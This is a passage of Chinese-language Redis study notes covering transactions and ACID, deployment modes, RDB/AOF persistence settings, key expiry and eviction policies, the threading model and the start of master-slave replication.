EXEC执行时发生故障:
如果 redis 开启了 AOF 日志,那么,只会有部分的事务操作被记录到 AOF 日志中。需要使用 redis-check-aof 工具检查 AOF 日志文件,这个工具可以把未完成的事务操作从 AOF 文件中去除。事务的原子性得到保证。
EXEC命令执行前:
入队报错事务会被放弃执行,具有一致性。
EXEC命令执行后:
实际执行时报错,错误的指令不会执行,正确的指令可以正常执行,一致性可以保证。
EXEC执行时发生故障:
RDB 模式,RDB 快照不会在事务执行时执行,事务结果不会保存在RDB;
AOF 模式,可以使用 redis-check-aof 工具检查 AOF 日志文件,把未完成的事务操作从 AOF 文件中去除。可以保证一致性。
EXEC 命令执行前:
隔离性需要通过 WATCH 机制保证。因为 EXEC 命令执行前,其他客户端命令可以被执行,相关变量会被修改;但可以使用 WATCH 机制监控相关变量。一旦相关变量被修改,则 EXEC 后则事务失败返回,具有隔离性。
EXEC 命令执行后:
Redis 是单线程执行,事务队列里的命令和其他客户端的命令只能二选一被顺序执行,因此具有隔离性
如果 redis 没有使用 RDB 或 AOF,事务的持久化是不存在的;
RDB 模式:那么在一个事务执行后,而下一次的 RDB快照还未执行前,如果发生了实例宕机,数据丢失,这种情况下,事务修改的数据也是不能保证持久化;
AOF 模式:因为 AOF 模式的三种配置选项 no、everysec 和 always
都会存在数据丢失的情况。所以,事务的持久性属性也还是得不到保证。
总结
standaloan 是redis单机模式,及所有服务连接一台redis服务,该模式不适用生产。如果发生宕机,内存爆炸,就可能导致所有连接改redis的服务发生缓存失效引起雪崩。
redis-Sentinel(哨兵模式)是Redis官方推荐的高可用性(HA)解决方案,当用Redis做Master-slave的高可用方案时,假如master宕机了,Redis本身(包括它的很多客户端)都没有实现自动进行主备切换,而Redis-sentinel本身也是一个独立运行的进程,它能监控多个master-slave集群,发现master宕机后能进行切换
redis集群模式,同样可以实现redis高可用部署,Redis Sentinel集群模式中,随着业务量和数据量增,到性能达到redis单节点瓶颈,垂直扩容受机器限制,水平扩容涉及对应用的影响以及数据迁移中数据丢失风险。针对这些痛点
Redis3.0推出cluster分布式集群方案,当遇到单节点内存,并发,流量瓶颈是,采用cluster方案实现负载均衡,cluster方案主要解决分片问题,即把整个数据按照规则分成多个子集存储在多个不同几点上,每个节点负责自己整个数据的一部分。
redis cluster 采用哈希分区规则中的虚拟槽分区。虚拟槽分区巧妙地使用了哈希空间,使用分散度良好的哈希函数把所有的数据映射到一个固定范围内的整数集合,整数定义为槽(slot)。Redis Cluster槽的范围是0 ~ 16383。槽是集群内数据管理和迁移的基本单位。采用大范围的槽的主要目的是为了方便数据的拆分和集群的扩展,每个节点负责一定数量的槽。Redis Cluster采用虚拟槽分区,所有的键根据哈希函数映射到0 ~ 16383,计算公式:slot = CRC16(key)&16383。每一个实节点负责维护一部分槽以及槽所映射的键值数据。下图展现一个五个节点构成的集群,每个节点平均大约负责3276个槽,以及通过计算公式映射到对应节点的对应槽的过程。1.单机模式
优点:
架构简单,部署方便;
高性价比:缓存使用时无需备用节点(单实例可用性可以用supervisor或crontab保证),当然为了满足业务的高可用性,也可以牺牲一个备用节点,但同时刻只有一个实例对外提供服务;
高性能。
缺点:
不保证数据的可靠性;
在缓存使用,进程重启后,数据丢失,即使有备用的节点解决高可用性,但是仍然不能解决缓存预热问题,因此不适用于数据可靠性要求高的业务;
高性能受限于单核CPU的处理能力(Redis是单线程机制),CPU为主要瓶颈,所以适合操作命令简单,排序、计算较少的场景。也可以考虑用Memcached替代。
2.主从模式
Redis多副本,采用主从(replication)部署结构,相较于单副本而言最大的特点就是主从实例间数据实时同步,并且提供数据持久化和备份策略。主从实例部署在不同的物理服务器上,根据公司的基础环境配置,可以实现同时对外提供服务和读写分离策略。
优点:
高可靠性:一方面,采用双机主备架构,能够在主库出现故障时自动进行主备切换,从库提升为主库提供服务,保证服务平稳运行;另一方面,开启数据持久化功能和配置合理的备份策略,能有效的解决数据误操作和数据异常丢失的问题;
读写分离策略:从节点可以扩展主库节点的读能力,有效应对大并发量的读操作。
缺点:
故障恢复复杂,如果没有RedisHA系统(需要开发),当主库节点出现故障时,需要手动将一个从节点晋升为主节点,同时需要通知业务方变更配置,并且需要让其它从库节点去复制新主库节点,整个过程需要人为干预,比较繁琐;
主库的写能力受到单机的限制,可以考虑分片;
主库的存储能力受到单机的限制,可以考虑Pika;
原生复制的弊端在早期的版本中也会比较突出,如:Redis复制中断后,Slave会发起psync,此时如果同步不成功,则会进行全量同步,主库执行全量备份的同时可能会造成毫秒或秒级的卡顿;又由于COW机制,导致极端情况下的主库内存溢出,程序异常退出或宕机;主库节点生成备份文件导致服务器磁盘IO和CPU(压缩)资源消耗;发送数GB大小的备份文件导致服务器出口带宽暴增,阻塞请求,建议升级到最新版本。
3.哨兵模式
Redis Sentinel是社区版本推出的原生高可用解决方案,其部署架构主要包括两部分:Redis Sentinel集群和Redis数据集群。
其中Redis Sentinel集群是由若干Sentinel节点组成的分布式集群,可以实现故障发现、故障自动转移、配置中心和客户端通知。Redis Sentinel的节点数量要满足2n+1(n>=1)的奇数个。
锁的
优点:
Redis Sentinel集群部署简单;
能够解决Redis主从模式下的高可用切换问题;
很方便实现Redis数据节点的线形扩展,轻松突破Redis自身单线程瓶颈,可极大满足Redis大容量或高性能的业务需求;
可以实现一套Sentinel监控一组Redis数据节点或多组数据节点。
缺点:
部署相对Redis主从模式要复杂一些,原理理解更繁琐;
资源浪费,Redis数据节点中slave节点作为备份节点不提供服务;
Redis Sentinel主要是针对Redis数据节点中的主节点的高可用切换,对Redis的数据节点做失败判定分为主观下线和客观下线两种,对于Redis的从节点有对节点做主观下线操作,并不执行故障转移。
不能解决读写分离问题,实现起来相对复杂。
建议:
如果监控同一业务,可以选择一套Sentinel集群监控多组Redis数据节点的方案,反之选择一套Sentinel监控一组Redis数据节点的方案。
sentinel monitor 配置中的建议设置成Sentinel节点的一半加1,当Sentinel部署在多个IDC的时候,单个IDC部署的Sentinel数量不建议超过(Sentinel数量 – quorum)。
合理设置参数,防止误切,控制切换灵敏度控制:
a. quorum
b. down-after-milliseconds 30000
c. failover-timeout 180000
d. maxclient
e. timeout
部署的各个节点服务器时间尽量要同步,否则日志的时序性会混乱。
Redis建议使用pipeline和multi-keys操作,减少RTT次数,提高请求效率。
自行搞定配置中心(zookeeper),方便客户端对实例的链接访问。
4.集群方式
Redis Cluster是社区版推出的Redis分布式集群解决方案,主要解决Redis分布式方面的需求,比如,当遇到单机内存,并发和流量等瓶颈的时候,Redis Cluster能起到很好的负载均衡的目的。
Redis Cluster集群节点最小配置6个节点以上(3主3从),其中主节点提供读写操作,从节点作为备用节点,不提供请求,只作为故障转移使用。
Redis Cluster采用虚拟槽分区,所有的键根据哈希函数映射到0~16383个整数槽内,每个节点负责维护一部分槽以及槽所印映射的键值数据。
优点:
无中心架构;
数据按照slot存储分布在多个节点,节点间数据共享,可动态调整数据分布;
可扩展性:可线性扩展到1000多个节点,节点可动态添加或删除;
高可用性:部分节点不可用时,集群仍可用。通过增加Slave做standby数据副本,能够实现故障自动failover,节点之间通过gossip协议交换状态信息,用投票机制完成Slave到Master的角色提升;
降低运维成本,提高系统的扩展性和可用性。
缺点:
Client实现复杂,驱动要求实现Smart Client,缓存slots mapping信息并及时更新,提高了开发难度,客户端的不成熟影响业务的稳定性。目前仅JedisCluster相对成熟,异常处理部分还不完善,比如常见的“max redirect exception”。
节点会因为某些原因发生阻塞(阻塞时间大于clutser-node-timeout),被判断下线,这种failover是没有必要的。
数据通过异步复制,不保证数据的强一致性。
多个业务使用同一套集群时,无法根据统计区分冷热数据,资源隔离性较差,容易出现相互影响的情况。
Slave在集群中充当“冷备”,不能缓解读压力,当然可以通过SDK的合理设计来提高Slave资源的利用率。
Key批量操作限制,如使用mset、mget目前只支持具有相同slot值的Key执行批量操作。对于映射为不同slot值的Key由于Keys不支持跨slot查询,所以执行mset、mget、sunion等操作支持不友好。
Key事务操作支持有限,只支持多key在同一节点上的事务操作,当多个Key分布于不同的节点上时无法使用事务功能。
Key作为数据分区的最小粒度,不能将一个很大的键值对象如hash、list等映射到不同的节点。
不支持多数据库空间,单机下的redis可以支持到16个数据库,集群模式下只能使用1个数据库空间,即db 0。
复制结构只支持一层,从节点只能复制主节点,不支持嵌套树状复制结构。
避免产生hot-key,导致主库节点成为系统的短板。
避免产生big-key,导致网卡撑爆、慢查询等。
重试时间应该大于cluster-node-time时间。
Redis Cluster不建议使用pipeline和multi-keys操作,减少max redirect产生的场景。
Redis持久化
由于Redis的数据都存放在内存中,如果没有配置持久化,redis重启后数据就全丢失了,于是需要开启redis的持久化功能,将数据保存到磁盘上,当redis重启后,可以从磁盘中恢复数据。redis提供两种方式进行持久化,一种是RDB持久化(原理是将Reids在内存中的数据库记录定时dump到磁盘上的RDB持久化),另外一种是AOF(append only file)持久化(原理是将Reids的操作日志以追加的方式写入文件)。那么这两种持久化方式有什么区别呢,改如何选择呢?网上看了大多数都是介绍这两种方式怎么配置,怎么使用,就是没有介绍二者的区别,在什么应用场景下使用。
2、二者的区别
RDB持久化是指在指定的时间间隔内将内存中的数据集快照写入磁盘,实际操作过程是fork一个子进程,先将数据集写入临时文件,写入成功后,再替换之前的文件,用二进制压缩存储。
AOF持久化以日志的形式记录服务器所处理的每一个写、删除操作,查询操作不会记录,以文本的方式记录,可以打开文件看到详细的操作记录。
3、二者优缺点
RDB存在哪些优势呢?
1). 一旦采用该方式,那么你的整个Redis数据库将只包含一个文件,这对于文件备份而言是非常完美的。比如,你可能打算每个小时归档一次最近24小时的数据,同时还要每天归档一次最近30天的数据。通过这样的备份策略,一旦系统出现灾难性故障,我们可以非常容易的进行恢复。
2). 对于灾难恢复而言,RDB是非常不错的选择。因为我们可以非常轻松的将一个单独的文件压缩后再转移到其它存储介质上。
3). 性能最大化。对于Redis的服务进程而言,在开始持久化时,它唯一需要做的只是fork出子进程,之后再由子进程完成这些持久化的工作,这样就可以极大的避免服务进程执行IO操作了。
4). 相比于AOF机制,如果数据集很大,RDB的启动效率会更高。
RDB又存在哪些劣势呢?
1). 如果你想保证数据的高可用性,即最大限度的避免数据丢失,那么RDB将不是一个很好的选择。因为系统一旦在定时持久化之前出现宕机现象,此前没有来得及写入磁盘的数据都将丢失。
2). 由于RDB是通过fork子进程来协助完成数据持久化工作的,因此,如果当数据集较大时,可能会导致整个服务器停止服务几百毫秒,甚至是1秒钟。
AOF的优势有哪些呢?
1). 该机制可以带来更高的数据安全性,即数据持久性。Redis中提供了3中同步策略,即每秒同步、每修改同步和不同步。事实上,每秒同步也是异步完成的,其效率也是非常高的,所差的是一旦系统出现宕机现象,那么这一秒钟之内修改的数据将会丢失。而每修改同步,我们可以将其视为同步持久化,即每次发生的数据变化都会被立即记录到磁盘中。可以预见,这种方式在效率上是最低的。至于无同步,无需多言,我想大家都能正确的理解它。
2). 由于该机制对日志文件的写入操作采用的是append模式,因此在写入过程中即使出现宕机现象,也不会破坏日志文件中已经存在的内容。然而如果我们本次操作只是写入了一半数据就出现了系统崩溃问题,不用担心,在Redis下一次启动之前,我们可以通过redis-check-aof工具来帮助我们解决数据一致性的问题。
3). 如果日志过大,Redis可以自动启用rewrite机制。即Redis以append模式不断的将修改数据写入到老的磁盘文件中,同时Redis还会创建一个新的文件用于记录此期间有哪些修改命令被执行。因此在进行rewrite切换时可以更好的保证数据安全性。
4). AOF包含一个格式清晰、易于理解的日志文件用于记录所有的修改操作。事实上,我们也可以通过该文件完成数据的重建。
AOF的劣势有哪些呢?
1). 对于相同数量的数据集而言,AOF文件通常要大于RDB文件。RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。
2). 根据同步策略的不同,AOF在运行效率上往往会慢于RDB。总之,每秒同步策略的效率是比较高的,同步禁用策略的效率和RDB一样高效。
二者选择的标准,就是看系统是愿意牺牲一些性能,换取更高的缓存一致性(aof),还是愿意写操作频繁的时候,不启用备份来换取更高的性能,待手动运行save的时候,再做备份(rdb)。rdb这个就更有些 eventually consistent的意思了。
4、常用配置
RDB持久化配置
Redis会将数据集的快照dump到dump.rdb文件中。此外,我们也可以通过配置文件来修改Redis服务器dump快照的频率,在打开6379.conf文件之后,我们搜索save,可以看到下面的配置信息:
save 900 1 #在900秒(15分钟)之后,如果至少有1个key发生变化,则dump内存快照。
save 300 10 #在300秒(5分钟)之后,如果至少有10个key发生变化,则dump内存快照。
save 60 10000 #在60秒(1分钟)之后,如果至少有10000个key发生变化,则dump内存快照。
AOF持久化配置
在Redis的配置文件中存在三种同步方式,它们分别是:
appendfsync always #每次有数据修改发生时都会写入AOF文件。
appendfsync everysec #每秒钟同步一次,该策略为AOF的缺省策略。
appendfsync no #从不同步。高效但是数据不会被持久化。
5、Redis自研
Redis自研的高可用解决方案,主要体现在配置中心、故障探测和failover的处理机制上,通常需要根据企业业务的实际线上环境来定制化。
优点:
高可靠性、高可用性;
自主可控性高;
贴切业务实际需求,可缩性好,兼容性好。
缺点:
实现复杂,开发成本高;
需要建立配套的周边设施,如监控,域名服务,存储元数据信息的数据库等;
维护成本高。
读写性能优异, Redis能读的速度是110000次/s,写的速度是81000次/s。
支持数据持久化,支持AOF和RDB两种持久化方式。
支持事务,Redis的所有操作都是原子性的,同时Redis还支持对几个操作合并后的原子性执行。
数据结构丰富,除了支持string类型的value外还支持hash、set、zset、list等数据结构。
支持主从复制,主机会自动将数据同步到从机,可以进行读写分离。
数据库容量受到物理内存的限制,不能用作海量数据的高性能读写,因此Redis适合的场景主要局限在较小数据量的高性能操作和运算上。
Redis 不具备自动容错和恢复功能,主机从机的宕机都会导致前端部分读写请求失败,需要等待机器重启或者手动切换前端的IP才能恢复。
主机宕机,宕机前有部分数据未能及时同步到从机,切换IP后还会引入数据不一致的问题,降低了系统的可用性。
Redis 较难支持在线扩容,在集群容量达到上限时在线扩容会变得很复杂。为避免这一问题,运维人员在系统上线时必须确保有足够的空间,这对资源造成了很大的浪费。
为什么要用 Redis /为什么要用缓存
主要从“高性能”和“高并发”这两点来看待这个问题。
假如用户第一次访问数据库中的某些数据。这个过程会比较慢,因为是从硬盘上读取的。将该用户访问的数据存在数缓存中,这样下一次再访问这些数据的时候就可以直接从缓存中获取了。操作缓存就是直接操作内存,所以速度相当快。如果数据库中的对应数据改变的之后,同步改变缓存中相应的数据即可!
直接操作缓存能够承受的请求是远远大于直接访问数据库的,所以我们可以考虑把数据库中的部分数据转移到缓存中去,这样用户的一部分请求会直接到缓存这里而不用经过数据库。
缓存分为本地缓存和分布式缓存。以 Java 为例,使用自带的 map 或者 guava 实现的是本地缓存,最主要的特点是轻量以及快速,生命周期随着 jvm 的销毁而结束,并且在多实例的情况下,每个实例都需要各自保存一份缓存,缓存不具有一致性。
使用 redis 或 memcached 之类的称为分布式缓存,在多实例的情况下,各实例共用一份缓存数据,缓存具有一致性。缺点是需要保持 redis 或 memcached服务的高可用,整个程序架构上较为复杂。
1、完全基于内存,绝大部分请求是纯粹的内存操作,非常快速。数据存在内存中,类似于 HashMap,HashMap 的优势就是查找和操作的时间复杂度都是O(1);
2、数据结构简单,对数据操作也简单,Redis 中的数据结构是专门进行设计的;
3、采用单线程,避免了不必要的上下文切换和竞争条件,也不存在多进程或者多线程导致的切换而消耗 CPU,不用去考虑各种锁的问题,不存在加锁释放锁操作,没有因为可能出现死锁而导致的性能消耗;
4、使用多路 I/O 复用模型,非阻塞 IO;
5、使用底层模型不同,它们之间底层实现方式以及与客户端之间通信的应用协议不一样,Redis 直接自己构建了 VM 机制 ,因为一般的系统调用系统函数的话,会浪费一定的时间去移动和请求;
Redis主要有5种数据类型,包括String,List,Set,Zset,Hash,满足大部分的使用要求
可以对 String 进行自增自减运算,从而实现计数器功能。Redis 这种内存型数据库的读写性能非常高,很适合存储频繁读写的计数量。
将热点数据放到内存中,设置内存的最大使用量以及淘汰策略来保证缓存的命中率。
可以使用 Redis 来统一存储多台应用服务器的会话信息。当应用服务器不再存储用户的会话信息,也就不再具有状态,一个用户可以请求任意一个应用服务器,从而更容易实现高可用性以及可伸缩性。
除基本的会话token之外,Redis还提供很简便的FPC平台。以Magento为例,Magento提供一个插件来使用Redis作为全页缓存后端。此外,对WordPress的用户来说,Pantheon有一个非常好的插件 wp-redis,这个插件能帮助你以最快速度加载你曾浏览过的页面。
例如 DNS 记录就很适合使用 Redis 进行存储。查找表和缓存类似,也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效,而缓存的内容可以失效,因为缓存不作为可靠的数据来源。
List 是一个双向链表,可以通过 lpush 和 rpop 写入和读取消息。不过最好使用 Kafka、RabbitMQ 等消息中间件。
在分布式场景下,无法使用单机环境下的锁来对多个节点上的进程进行同步。可以使用 Redis 自带的 SETNX 命令实现分布式锁,除此之外,还可以使用官方提供的 RedLock 分布式锁实现。
其它
Set 可以实现交集、并集等操作,从而实现共同好友等功能。ZSet 可以实现有序性操作,从而实现排行榜等功能。
Redis相比其他缓存,有一个非常大的优势,就是支持多种数据类型。
数据类型说明string字符串,最简单的k-v存储hashhash格式,value为field和value,适合ID-Detail这样的场景。list简单的list,顺序列表,支持首位或者末尾插入数据set无序list,查找速度快,适合交集、并集、差集处理sorted set有序的set
其实,通过上面的数据类型的特性,基本就能想到合适的应用场景了。
string——适合最简单的k-v存储,类似于memcached的存储结构,短信验证码,配置信息等,就用这种类型来存储。
hash——一般key为ID或者唯一标示,value对应的就是详情了。如商品详情,个人信息详情,新闻详情等。
list——因为list是有序的,比较适合存储一些有序且数据相对固定的数据。如省市区表、字典表等。因为list是有序的,适合根据写入的时间来排序,如:最新的***,消息队列等。
set——可以简单的理解为ID-List的模式,如微博中一个人有哪些好友,set最牛的地方在于,可以对两个set提供交集、并集、差集操作。例如:查找两个人共同的好友等。
Sorted Set——是set的增强版本,增加了一个score参数,自动会根据score的值进行排序。比较适合类似于top 10等不根据插入的时间来排序的数据。
如上所述,虽然Redis不像关系数据库那么复杂的数据结构,但是,也能适合很多场景,比一般的缓存数据结构要多。了解每种数据结构适合的业务场景,不仅有利于提升开发效率,也能有效利用Redis的性能。
持久化就是把内存的数据写到磁盘中去,防止服务宕机了内存数据丢失。
Redis 提供两种持久化机制 RDB(默认) 和 AOF 机制:
RDB:是 Redis DataBase 缩写快照
RDB是Redis默认的持久化方式。按照一定的时间将内存的数据以快照的形式保存到硬盘中,对应产生的数据文件为dump.rdb。通过配置文件中的save参数来定义快照的周期。
1、只有一个文件 dump.rdb,方便持久化。
2、容灾性好,一个文件可以保存到安全的磁盘。
3、性能最大化,fork 子进程来完成写操作,让主进程继续处理命令,所以是 IO 最大化。使用单独子进程来进行持久化,主进程不会进行任何 IO 操作,保证了 redis 的高性能
4.相对于数据集大时,比 AOF 的启动效率更高。
1、数据安全性低。RDB 是间隔一段时间进行持久化,如果持久化之间 redis 发生故障,会发生数据丢失。所以这种方式更适合数据要求不严谨的时候)
2、AOF(Append-only file)持久化方式: 是指所有的命令行记录以 redis 命令请 求协议的格式完全持久化存储)保存为 aof 文件。
AOF:持久化
AOF持久化(即Append Only File持久化),则是将Redis执行的每次写命令记录到单独的日志文件中,当重启Redis会重新将持久化的日志中文件恢复数据。
当两种方式同时开启时,数据恢复Redis会优先选择AOF恢复。
优点:
1、数据安全,aof 持久化可以配置 appendfsync 属性,有 always,每进行一次 命令操作就记录到 aof 文件中一次。
2、通过 append 模式写文件,即使中途服务器宕机,可以通过 redis-check-aof 工具解决数据一致性问题。
3、AOF 机制的 rewrite 模式。AOF 文件没被 rewrite 之前(文件过大时会对命令 进行合并重写),可以删除其中的某些命令(比如误操作的 flushall))
缺点:
1、AOF 文件比 RDB 文件大,且恢复速度慢。
2、数据集大的时候,比 rdb 启动效率低。
优缺点是什么?
AOF文件比RDB更新频率高,优先使用AOF还原数据。
AOF比RDB更安全也更大
RDB性能比AOF好
如果两个都配了优先加载AOF
如何选择合适的持久化方式
一般来说, 如果想达到足以媲美PostgreSQL的数据安全性,你应该同时使用两种持久化功能。在这种情况下,当 Redis 重启的时候会优先载入AOF文件来恢复原始的数据,因为在通常情况下AOF文件保存的数据集要比RDB文件保存的数据集要完整。
如果你非常关心你的数据, 但仍然可以承受数分钟以内的数据丢失,那么你可以只使用RDB持久化。
有很多用户都只使用AOF持久化,但并不推荐这种方式,因为定时生成RDB快照(snapshot)非常便于进行数据库备份, 并且 RDB 恢复数据集的速度也要比AOF恢复的速度要快,除此之外,使用RDB还可以避免AOF程序的bug。
如果你只希望你的数据在服务器运行的时候存在,你也可以不使用任何持久化方式。
Redis持久化数据和缓存怎么做扩容?
如果Redis被当做缓存使用,使用一致性哈希实现动态扩容缩容。
如果Redis被当做一个持久化存储使用,必须使用固定的keys-to-nodes映射关系,节点的数量一旦确定不能变化。否则的话(即Redis节点需要动态变化的情况),必须使用可以在运行时进行数据再平衡的一套系统,而当前只有Redis集群可以做到这样。
过期键的删除策略
Redis的过期键的删除策略
我们都知道,Redis是key-value数据库,我们可以设置Redis中缓存的key的过期时间。Redis的过期策略就是指当Redis中缓存的key过期了,Redis如何处理。
过期策略通常有以下三种:
定时过期:每个设置过期时间的key都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的CPU资源去处理过期的数据,从而影响缓存的响应时间和吞吐量。
惰性过期:只有当访问一个key时,才会判断该key是否已过期,过期则清除。该策略可以最大化地节省CPU资源,却对内存非常不友好。极端情况可能出现大量的过期key没有再次被访问,从而不会被清除,占用大量内存。
定期过期:每隔一定的时间,会扫描一定数量的数据库的expires字典中一定数量的key,并清除其中已过期的key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得CPU和内存资源达到最优的平衡效果。
(expires字典会保存所有设置了过期时间的key的过期时间数据,其中,key是指向键空间中的某个键的指针,value是该键的毫秒精度的UNIX时间戳表示的过期时间。键空间是指该Redis集群中保存的所有键。)
Redis中同时使用了惰性过期和定期过期两种过期策略。
Redis key的过期时间和永久有效分别怎么设置?
EXPIRE和PERSIST命令。
我们知道通过expire来设置key 的过期时间,那么对过期的数据怎么处理呢?
除了缓存服务器自带的缓存失效策略之外(Redis默认的有6中策略可供选择),我们还可以根据具体的业务需求进行自定义的缓存淘汰,常见的策略有两种:
定时去清理过期的缓存;
当有用户请求过来时,再判断这个请求所用到的缓存是否过期,过期的话就去底层系统得到新数据并更新缓存。
两者各有优劣,第一种的缺点是维护大量缓存的key是比较麻烦的,第二种的缺点就是每次用户请求过来都要判断缓存失效,逻辑相对比较复杂!具体用哪种方案,大家可以根据自己的应用场景来权衡。
内存相关
MySQL里有2000w数据,redis中只存20w的数据,如何保证redis中的数据都是热点数据
redis内存数据集大小上升到一定大小的时候,就会施行数据淘汰策略。
Redis的内存淘汰策略有哪些
Redis的内存淘汰策略是指在Redis的用于缓存的内存不足时,怎么处理需要新写入且需要申请额外空间的数据。
全局的键空间选择性移除
noeviction:当内存不足以容纳新写入数据时,新写入操作会报错。
allkeys-lru:当内存不足以容纳新写入数据时,在键空间中,移除最近最少使用的key。(这个是最常用的)
allkeys-random:当内存不足以容纳新写入数据时,在键空间中,随机移除某个key。
设置过期时间的键空间选择性移除
volatile-lru:当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,移除最近最少使用的key。
volatile-random:当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,随机移除某个key。
volatile-ttl:当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,有更早过期时间的key优先移除。
总结
Redis的内存淘汰策略的选取并不会影响过期的key的处理。内存淘汰策略用于处理内存不足时的需要申请额外空间的数据;过期策略用于处理过期的缓存数据。
Redis主要消耗什么物理资源?
内存。
Redis的内存用完了会发生什么?
如果达到设置的上限,Redis的写命令会返回错误信息(但是读命令还可以正常返回。)或者你可以配置内存淘汰机制,当Redis达到内存上限时会冲刷掉旧的内容。
Redis如何做内存优化?
可以好好利用Hash,list,sorted set,set等集合类型数据,因为通常情况下很多小的Key-Value可以用更紧凑的方式存放到一起。尽可能使用散列表(hashes),散列表(是说散列表里面存储的数少)使用的内存非常小,所以你应该尽可能的将你的数据模型抽象到一个散列表里面。比如你的web系统中有一个用户对象,不要为这个用户的名称,姓氏,邮箱,密码设置单独的key,而是应该把这个用户的所有信息存储到一张散列表里面
线程模型
Redis线程模型
Redis基于Reactor模式开发了网络事件处理器,这个处理器被称为文件事件处理器(file event handler)。它的组成结构为4部分:多个套接字、IO多路复用程序、文件事件分派器、事件处理器。因为文件事件分派器队列的消费是单线程的,所以Redis才叫单线程模型。
文件事件处理器使用 I/O 多路复用(multiplexing)程序来同时监听多个套接字, 并根据套接字目前执行的任务来为套接字关联不同的事件处理器。
当被监听的套接字准备好执行连接应答(accept)、读取(read)、写入(write)、关闭(close)等操作时, 与操作相对应的文件事件就会产生, 这时文件事件处理器就会调用套接字之前关联好的事件处理器来处理这些事件。
虽然文件事件处理器以单线程方式运行, 但通过使用 I/O 多路复用程序来监听多个套接字, 文件事件处理器既实现了高性能的网络通信模型, 又可以很好地与 redis 服务器中其他同样以单线程方式运行的模块进行对接, 这保持了 Redis 内部单线程设计的简单性。
参考:https://www.cnblogs.com/barrywxx/p/8570821.html
事务
什么是事务?
事务是一个单独的隔离操作:事务中的所有命令都会序列化、按顺序地执行。事务在执行的过程中,不会被其他客户端发送来的命令请求所打断。
事务是一个原子操作:事务中的命令要么全部被执行,要么全部都不执行。
Redis事务的概念
Redis 事务的本质是通过MULTI、EXEC、WATCH等一组命令的集合。事务支持一次执行多个命令,一个事务中所有命令都会被序列化。在事务执行过程,会按照顺序串行化执行队列中的命令,其他客户端提交的命令请求不会插入到事务执行命令序列中。
总结说:redis事务就是一次性、顺序性、排他性的执行一个队列中的一系列命令。
Redis事务的三个阶段
事务开始 MULTI
命令入队
事务执行 EXEC
事务执行过程中,如果服务端收到有EXEC、DISCARD、WATCH、MULTI之外的请求,将会把请求放入队列中排队
Redis事务相关命令
Redis事务功能是通过MULTI、EXEC、DISCARD和WATCH 四个原语实现的
Redis会将一个事务中的所有命令序列化,然后按顺序执行。
redis 不支持回滚,“Redis 在事务失败时不进行回滚,而是继续执行余下的命令”, 所以 Redis 的内部可以保持简单且快速。
如果在一个事务中的命令出现错误,那么所有的命令都不会执行;
如果在一个事务中出现运行错误,那么正确的命令会被执行。
WATCH 命令是一个乐观锁,可以为 Redis 事务提供 check-and-set (CAS)行为。 可以监控一个或多个键,一旦其中有一个键被修改(或删除),之后的事务就不会执行,监控一直持续到EXEC命令。
MULTI命令用于开启一个事务,它总是返回OK。 MULTI执行之后,客户端可以继续向服务器发送任意多条命令,这些命令不会立即被执行,而是被放到一个队列中,当EXEC命令被调用时,所有队列中的命令才会被执行。
EXEC:执行所有事务块内的命令。返回事务块内所有命令的返回值,按命令执行的先后顺序排列。 当操作被打断时,返回空值 nil 。
通过调用DISCARD,客户端可以清空事务队列,并放弃执行事务, 并且客户端会从事务状态中退出。
UNWATCH命令可以取消watch对所有key的监控。
事务管理(ACID)概述
原子性(Atomicity)
原子性是指事务是一个不可分割的工作单位,事务中的操作要么都发生,要么都不发生。
一致性(Consistency)
事务前后数据的完整性必须保持一致。
隔离性(Isolation)
多个事务并发执行时,一个事务的执行不应影响其他事务的执行
持久性(Durability)
持久性是指一个事务一旦被提交,它对数据库中数据的改变就是永久性的,接下来即使数据库发生故障也不应该对其有任何影响
Redis的事务总是具有ACID中的一致性和隔离性,其他特性是不支持的。当服务器运行在AOF持久化模式下,并且appendfsync选项的值为always时,事务也具有耐久性。
Redis事务支持隔离性吗
Redis 是单进程程序,并且它保证在执行事务时,不会对事务进行中断,事务可以运行直到执行完所有事务队列中的命令为止。因此,Redis 的事务是总是带有隔离性的。
Redis事务保证原子性吗,支持回滚吗
Redis中,单条命令是原子性执行的,但事务不保证原子性,且没有回滚。事务中任意命令执行失败,其余的命令仍会被执行。
Redis事务其他实现
基于Lua脚本,Redis可以保证脚本内的命令一次性、按顺序地执行,
其同时也不提供事务运行错误的回滚,执行过程中如果部分命令运行错误,剩下的命令还是会继续运行完
基于中间标记变量,通过另外的标记变量来标识事务是否执行完成,读取数据时先读取该标记变量判断是否事务执行完成。但这样会需要额外写代码实现,比较繁琐
单机的 redis,能够承载的 QPS 大概就在上万到几万不等。对于缓存来说,一般都是用来支撑读高并发的。因此架构做成主从(master-slave)架构,一主多从,主负责写,并且将数据复制到其它的 slave 节点,从节点负责读。所有的读请求全部走从节点。这样也可以很轻松实现水平扩容,支撑读高并发。
redis replication -> 主从架构 -> 读写分离 -> 水平扩容支撑读高并发
redis replication 的核心机制
redis 采用异步方式复制数据到 slave 节点,不过 redis2.8 开始,slave node 会周期性地确认自己每次复制的数据量;
一个 master node 是可以配置多个 slave node 的;
slave node 也可以连接其他的 slave node;
slave node 做复制的时候,不会 block master node 的正常工作;
slave node 在做复制的时候,也不会 block 对自己的查询操作,它会用旧的数据集来提供服务;但是复制完成的时候,需要删除旧数据集,加载新数据集,这个时候就会暂停对外服务了;
slave node 主要用来进行横向扩容,做读写分离,扩容的 slave node 可以提高读的吞吐量。
注意,如果采用了主从架构,那么建议必须开启 master node 的持久化,不建议用 slave node 作为 master node 的数据热备,因为那样的话,如果你关掉 master 的持久化,可能在 master 宕机重启的时候数据是空的,然后可能一经过复制, slave node 的数据也丢了。
另外,master 的各种备份方案,也需要做。万一本地的所有文件丢失了,从备份中挑选一份 rdb 去恢复 master,这样才能确保启动的时候,是有数据的,即使采用了后续讲解的高可用机制,slave node 可以自动接管 master node,但也可能 sentinel 还没检测到 master failure,master node 就自动重启了,还是可能导致上面所有的 slave node 数据被清空。
redis 主从复制的核心原理
当启动一个 slave node 的时候,它会发送一个 PSYNC 命令给 master node。
如果这是 slave node 初次连接到 master node,那么会触发一次 full resynchronization 全量复制。此时 master 会启动一个后台线程,开始生成一份 RDB 快照文件,
